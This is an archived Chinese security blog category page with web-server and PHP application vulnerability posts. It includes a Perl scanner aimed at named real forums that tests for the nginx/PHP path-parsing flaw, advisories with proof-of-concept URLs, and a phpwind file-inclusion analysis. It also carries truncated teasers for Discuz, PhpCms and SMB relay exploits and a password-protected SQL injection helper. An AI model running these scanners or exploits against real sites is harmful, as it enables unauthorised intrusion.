Archive for the ‘Bug&Exp’ Category

Bug&Exp Nginx-scan Perl扫描器

23 Comments

#!usr/bin/perl -w
#来源1: http://www.80sec.com/nginx-securit.html
#来源2:  http://www.1141643.com
#用处:测试nginx是否存在该漏洞
use LWP;
use LWP::ConnCache;
my $browser = LWP::UserAgent->new;
$browser->timeout( 15 );
my $conncache = LWP::ConnCache->new; 
$browser->conn_cache($conncache);

#先用列表吧,没有用记事本保存列表再读再扫嘿嘿
my @bbslist1;
push @bbslist1,”http://bbs.xxx.com/robots.txt“;
push @bbslist1,”http://bbs.yyy.com/robots.txt” ;
push @bbslist1,’http://bbs.pctutu.com/robots.txt’;
push @bbslist1,’http://bbs.yahoo.cn/robots.txt’;

#Server: nginx/0.8.13
#Content-Type: text/html

print “\t\tNginx漏洞扫描程序 \n\n”;
foreach my $url (@bbslist1){
  print “目前正在扫描:$url\n”;
 my $response= $browser->get( $url);
 $response->is_success or say(“Failed to get ‘$url’:\n”, $response->status_line);
 my $servertype = $response->server;
  print “$servertype\n”;
 if ($servertype=~/nginx/){
  my $typeold=$response->content_type;
  print “$typeold\n”;
  my $url2=$url.’/xysky.php’;
  my $response2 = $browser->get( $url2);
  $response2->is_success or say(“Failed to get ‘$url2′:\n”, $response->status_line);
  my $typenew=$response2->content_type;
  print “$typenew\n”;
  if ($typeold eq $typenew){
    print “站点 $url 暂没有发现漏洞.\n\n”;
  }else{
    print “站点 $url 存在该漏洞.\n\n”;
  }
 }else{
 print “站点不是nginx,Sorry!\n\n”;
 }
}

Bug&Exp IIS源码泄露及文件类型解析错误

1 Comment

漏洞介绍:IIS是微软推出的一款webserver,使用较为广泛,在支持asp/asp.net的同时还可以较好的支持PHP等其他语言的运行。但是80sec发现在IIS的较高版本中存在一个比较严重的安全问题,在按照网络上提供的默认配置情况下可能导致服务器泄露服务器端脚本源码,也可能错误的将任何类型的文件以PHP的方式进行解析,使得恶意的攻击者可能攻陷支持PHP的IIS服务器,特别是虚拟主机用户可能受的影响较大。
漏洞分析:
IIS支持以CGI的方式运行PHP,但是此种模式下,IIS处理请求的时候可能导致一些同80sec提到的nginx安全漏洞一样的问题,任何用户可以远程将任何类型的文件以PHP的方式去解析,你可以通过查看Phpinfo中对php的支持方式,其中如果为CGI/FAST-CGI就可能存在这个问题。

黑盒访问
 

http://www.80sec.com/robots.txt/1.php

查看文件是否存在和返回的HTTP头就可以知道是否存在此漏洞。

同时,如果服务器支持了PHP,但应用中使用的是asp就可以通过如下方式来直接查看服务端asp源码
 

http://www.80sec.com/some.asp/1.php

漏洞厂商:http://www.microsoft.com

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

Bug&Exp nginx文件类型错误解析漏洞

0 Comments

漏洞介绍:nginx是一款高性能的web服务器,使用非常广泛,其不仅经常被用作反向代理,也可以非常好的支持PHP的运行。80sec发现其中存在一个较为严重的安全问题,默认情况下可能导致服务器错误的将任何类型的文件以PHP的方式进行解析,这将导致严重的安全问题,使得恶意的攻击者可能攻陷支持php的nginx服务器。
漏洞分析:nginx默认以cgi的方式支持php的运行,譬如在配置文件当中可以以


location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name;
include fastcgi_params;
}

的方式支持对php的解析,location对请求进行选择的时候会使用URI环境变量进行选择,其中传递到后端Fastcgi的关键变量SCRIPT_FILENAME由nginx生成的$fastcgi_script_name决定,而通过分析可以看到$fastcgi_script_name是直接由URI环境变量控制的,这里就是产生问题的点。而为了较好的支持PATH_INFO的提取,在PHP的配置选项里存在cgi.fix_pathinfo选项,其目的是为了从SCRIPT_FILENAME里取出真正的脚本名。
那么假设存在一个http://www.80sec.com/80sec.jpg,我们以如下的方式去访问

将会得到一个URI

/80sec.jpg/80sec.php

经过location指令,该请求将会交给后端的fastcgi处理,nginx为其设置环境变量SCRIPT_FILENAME,内容为

/scripts/80sec.jpg/80sec.php

而在其他的webserver如lighttpd当中,我们发现其中的SCRIPT_FILENAME被正确的设置为

/scripts/80sec.jpg

所以不存在此问题。
后端的fastcgi在接受到该选项时,会根据fix_pathinfo配置决定是否对SCRIPT_FILENAME进行额外的处理,一般情况下如果不对fix_pathinfo进行设置将影响使用PATH_INFO进行路由选择的应用,所以该选项一般配置开启。Php通过该选项之后将查找其中真正的脚本文件名字,查找的方式也是查看文件是否存在,这个时候将分离出SCRIPT_FILENAME和PATH_INFO分别为

/scripts/80sec.jpg和80sec.php

最后,以/scripts/80sec.jpg作为此次请求需要执行的脚本,攻击者就可以实现让nginx以php来解析任何类型的文件了。

http://www.80sec.com/80sec.jpg/80sec.php

POC: 访问一个nginx来支持php的站点,在一个任何资源的文件如robots.txt后面加上/80sec.php,这个时候你可以看到如下的区别:

访问http://www.80sec.com/robots.txt

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:05:30 GMT
Content-Type: text/plain
Content-Length: 18
Last-Modified: Thu, 20 May 2010 06:26:34 GMT
Connection: keep-alive
Keep-Alive: timeout=20
Accept-Ranges: bytes

访问访问http://www.80sec.com/robots.txt/80sec.php

HTTP/1.1 200 OK
Server: nginx/0.6.32
Date: Thu, 20 May 2010 10:06:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=20
X-Powered-By: PHP/5.2.6

其中的Content-Type的变化说明了后端负责解析的变化,该站点就可能存在漏洞。

漏洞厂商:http://www.nginx.org

解决方案:

我们已经尝试联系官方,但是此前你可以通过以下的方式来减少损失

关闭cgi.fix_pathinfo为0

或者

if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}

Bug&Exp phpwind 7.5 Multiple Include Vulnerabilities

4 Comments

author: 80vul
team:http://www.80vul.com

一.api/class_base.php本地包含漏洞

1.描叙

  api/class_base.php文件里callback函数里$mode变量没有过滤导致任意包含本地文件,从而可以执行任意PHP命令.

2. 具体分析

api/class_base.php文件里:

function callback($mode, $method, $params) {
if (!isset($this->classdb[$mode])) {
if (!file_exists(R_P.’api/class_’ . $mode . ‘.php’)) {
return new ErrorMsg(API_MODE_NOT_EXISTS, “Class($mode) Not Exists”);
}
require_once(R_P.’api/class_’ . $mode . ‘.php’); //这里
$this->classdb[$mode] = new $mode($this);
}
if (!method_exists($this->classdb[$mode], $method)) {
return new ErrorMsg(API_METHOD_NOT_EXISTS, “Method($method of $mode) Not Exists”);
}
!is_array($params) && $params = array();
return @call_user_func_array(array(&$this->classdb[$mode], $method), $params);
}

我们继续跟一下具体变量传递的过程. 上面的函数在run()里有调用:

function run($request) {
$request = $this->strips($request);
if (isset($request['type']) && $request['type'] == ‘uc’) {
$this->type = ‘uc’;
$this->apikey = $GLOBALS['uc_key'];//注意这个变量也是该漏洞的关键
} else {
$this->type = ‘app’;
$this->apikey = $GLOBALS['db_siteownerid'];
            $this->siteappkey = $GLOBALS['db_siteappkey'];
}
/***
if ($this->type == ‘app’ && !$GLOBALS['o_appifopen']) {
return new ErrorMsg(API_CLOSED, ‘App Closed’);
}
***/
ksort($request);
reset($request);
$arg = ”;
foreach ($request as $key => $value) {
if ($value && $key != ’sig’) {
$arg .= “$key=$value&”;
}
}
if (md5($arg . $this->apikey) != $request['sig']) { //注意这个判断,需要绕过它.上面的代码可以看的出来$this->apikey = $GLOBALS['uc_key'],和$request['sig']我们
                                                    //都可以控制,那么很容易绕过它
return new ErrorMsg(API_SIGN_ERROR, ‘Error Sign’);
}
$mode = $request['mode']; //取$mode 没有过滤直接进入下面的callback()
$method = $request['method'];
$params = isset($request['params']) ? unserialize($request['params']) : array();
        if (isset($params['appthreads'])) {
            if (PHP_VERSION < 5.2) {
                require_once(R_P.’api/class_json.php’);
                $json = new Services_JSON(true);
                $params['appthreads'] = $json->decode(@gzuncompress($params['appthreads']));
            } else {
                $params['appthreads'] = json_decode(@gzuncompress($params['appthreads']),true);
            }
        }
if ($params && isset($request['charset'])) {
$params = pwConvert($params, $this->charset, $request['charset']);
}
return $this->callback($mode, $method, $params); //调用callback ()
}

我们继续看看run()函数的调用:

在pw_api.php文件里:

$api = new api_client();
$response = $api->run($_POST + $_GET);//直接run了$_POST , $_GET提交的变量.

上面的分析是逆行分析了整个漏洞变量提交的过程,其实我们这个漏洞还包含一次编码与解码的问:require_once(R_P.’api/class_’ . $mode . ‘.php’);这个需要绕过魔术引号才可以
包含容易文件.我们注意看run()的第一句

$request = $this->strips($request);

strips()的代码:

function strips($param) {
if (is_array($param)) {
foreach ($param as $key => $value) {
$param[$key] = $this->strips($value);
}
} else {
$param = stripslashes($param); //变量直接使用了stripslashes,那么我们可以直接绕过魔术引号了 :)
}
return $param;
}

3.POC/EXP

  缺

4.FIX

由于漏洞信息的外泄,官方针对这个漏洞已经做出了修补:

http://www.phpwind.net/read-htm-tid-914851.html

具体代码:

require_once Pcv(R_P.’api/class_’ . $mode . ‘.php’);

function Pcv($filename,$ifcheck=1){
$tmpname = strtolower($filename);
$tmparray = array(‘ http://’,”\0″); //过滤了http:// \0 意思是不让远程 不让截断
$ifcheck && $tmparray[] = ‘..’;    //过滤了.. 意思是不让转跳目录
if (str_replace($tmparray,”,$tmpname)!=$tmpname) {
exit(‘Forbidden’);
}
return $filename;
}

从Pcv()可以看出来phpwind的补丁风格是很猥琐的,单从这个pcv来看 还有很多的逻辑问题,比如http://这个过滤很搞笑,人家就不可以用ftp://? …

二.apps/share/index.php远程包含漏洞

1.描叙

apps/share/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

<?php
if ($route == “share”) {
require_once $basePath . ‘/action/m_share.php’;
} elseif ($route == “sharelink”) {
require_once $basePath . ‘/action/m_sharelink.php’;
}
?>

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP
 
  缺

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

<?php
!function_exists(‘readover’) && exit(‘Forbidden’);
if ($route == “share”) {
require_once $basePath . ‘/action/m_share.php’;
} elseif ($route == “sharelink”) {
require_once $basePath . ‘/action/m_sharelink.php’;
}
?>

三.apps/groups/index.php远程包含漏洞

1.描叙

apps/groups/index.php 里$route和$basePath变量没有初始化,导致远程包含或者本地包含php文件,导致执行任意php代码

2.具体分析

<?php
if ($route == “groups”) {
require_once $basePath . ‘/action/m_groups.php’;
} elseif ($route == “group”) {
require_once $basePath . ‘/action/m_group.php’;
} elseif ($route == “galbum”) {
require_once $basePath . ‘/action/m_galbum.php’;
}

这个漏洞好象不太需要分析!!!! 我建议写这个代码的人应该扣除年终奖…

3.POC/EXP
 
  缺

4.FIX

已经在这个补丁的同时’修补’了

http://www.phpwind.net/read-htm-tid-914851.html

<?php
!function_exists(‘readover’) && exit(‘Forbidden’);
if ($route == “groups”) {
require_once $basePath . ‘/action/m_groups.php’;
} elseif ($route == “group”) {
require_once $basePath . ‘/action/m_group.php’;
} elseif ($route == “galbum”) {
require_once $basePath . ‘/action/m_galbum.php’;
}
?>

Tags:

Bug&Exp Discuz! admindatabase.inc.php get-webshell bug

0 Comments

author: ring04h
team:http://www.80vul.com

[该漏洞由ring04h发现并且投递,thx]
由于Discuz!的admin\database.inc.php里action=importzip解压zip文件时,导致可以得到webshell.

一 分析

在文件admin\database.inc.php里代码:
(全文…)

Bug&Exp Discuz! 6.1 xss2webshell[SODB-2008-10] Exploit

0 Comments

/*
#############################################
Discuz! 6.1 xss2webshell[SODB-2008-10]  Exploit
by 80vul-A
team: http://www.80vul.com
#############################################
*/
//目标url
var siteurl='http://www.80vul.com/Discuz_6.1.0/'; (全文…)

Bug&Exp Oracle Pwnage Part 5 — Password Cracking with JTR

0 Comments

Posted by CG

Thanks to dentonj for pointing out to me their was an Oracle patch for John the Ripper.

I used the john from this site:
http://www.banquise.net/misc/patch-john.html
http://btb.banquise.net/bin/myjohn.tgz

cg@segfault:~/evil/john/run$ more oraclehashes (全文…)

Bug&Exp SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-068)

0 Comments

* SMBRELAY 3 – NTLM replay attack (version 1.0 ) public version
* (c) 2008 Andres Tarasco Acuña ( atarasco _at_ gmail.com )
* URL: http://tarasco.org/Web/tools.html

http://milw0rm.com/sploits/2008-smbrelay3.zip

Bug&Exp Discuz! 6.x/7.x SODB-2008-13 Exp

0 Comments

#!/usr/bin/php
< ?php
/**
* Discuz! 6.x/7.x SODB-2008-13 Exp
* By www.80vul.com
* 文件中注释的变量值请自行修改
*/
(全文…)

Bug&Exp Sql2005注入辅助脚本[修改版]

0 Comments

# 鬼仔:密码是  fuckandfuck

版权所有:
http://www.pcsec.org
BK瞬间群
感谢无敌小黄瓜的投递

原始代码可见http://hi.baidu.com/tr4c3/blog/item/da1c1c30c93da89ca9018e27.html
经过黄瓜修改代码,功能更加强大了,希望能给大家的渗透工作带来方便。

程序说明: (全文…)

Bug&Exp dedecms gbk版0day

0 Comments

一个月前看了看了dedecms代码(只看了plus下的文件),发现有些变量人为控制没有过滤,但是在php的魔法引号这道天然屏障面前利用几率不好,但是联想到gbk的宽字符,突破方法就有了.

漏洞文件:plus/infosearch.php

测试版本:5.1 gbk

描述:$q变量没有过滤直接进入查询,导致注入出现。代码如下: (全文…)

Bug&Exp Discuz! $_DCACHE数组变量覆盖漏洞

0 Comments

author: ryat_at_www.wolvez.org
team:http://www.80vul.com

由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$_DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.

一 分析

/wap/index.php

//43行
(全文…)

Bug&Exp PhpCms2007 sp6 SQL injection 0day (wenba)

0 Comments

早前在phpcms 0day频发的时候写的这个exp,藏着这个exp藏了一个多月吧,也没有拿它去打站,一直丢在我硬盘里,今天看到11期的黑防公布了,于是我也丢出来吧:

< ?
print_r('
——————————————————————————–
Phpcms2007 (wenba)blind SQL injection / admin credentials disclosure exploit
BY oldjun[S.U.S](http://www.oldjun.com)
——————————————————————————– (全文…)

Bug&Exp 一个超级mail蠕虫的诞生

0 Comments

Welcome!各位ScriptKid,欢迎来到脚本世界。

时隔2个月,终于进行到这一篇。有些标题党了,哈哈。其实我想通过这篇文章说明的是:做安全,真不容易啊。。。

这个蠕虫写于2006年中左右,为了演示XSS漏洞的危害。我记得当时在给公司的开发同事培训WEB安全时,有同事对我说:脚本是执行在客户端的,XSS漏洞关我什么事呀,又不会影响我的服务器和服务。

确实,给开发的同事和不大懂安全的BOSS们进行安全教育,解释什么叫网络安全,是个艰巨和长期的任务。往往一个真实的攻击实例演示,一次安全事件比你讲个几次课都管用。

很庆幸我的老大都是安全圈内的人,腾讯有一个比较懂安全的CTO。公司现在已经很少有人发出那些质疑的声音了。 (全文…)

Bug&Exp 利用MS08-058攻击Google

0 Comments

来自:80sec

漏洞说明:Google是全球最大的搜索引擎。同时Google拥有其他庞大的WEB应用程序产品线,涉及EMAIL、BLOG、在线文档、个人主页、电子地图、论坛、RSS等互联网几乎所有的应用业务。80sec发现Google提供的图片搜索服务存在安全问题,结合IE浏览器的MS08-058漏洞可以造成整站的跨站脚本漏洞,几乎可以控制所有的Google服务和获得目标用户的认证信息。

漏洞站点:http://www.google.com

漏洞解析:Google提供的图片搜索服务存在网页框架安全问题,恶意攻击者可以指定网页的内嵌框架页指向任意网页。该服务提供的URL地址主域名可以更改成Google的其他业务的子域名,从而造成严重的钓鱼网页攻击隐患。如下:黑客指定imgrefurl参数就可能构造GMAIL相关服务的钓鱼网页。

http://mail.google.com/imgres?imgurl=80sec&imgrefurl=http://www.80sec.com&hl=com

该漏洞结合由80SEC团队成员发现的IE浏览器的MS08-058部分漏洞可以造成GOOGLE整站的跨站脚本XSS漏洞,linx在《利用IE 框架跨域》文档分析了MS08-058涉及网页框架安全问题,子框架网页可以操作主框架的窗口句柄。这种类型的漏洞主要危害是不受IE浏览器同源策略的限制,可以跨域控制其他域的网页,影响所有的WEB应用。微软已经在08年10月提供了MS08-058补丁修复了该漏洞。

测试代码: (全文…)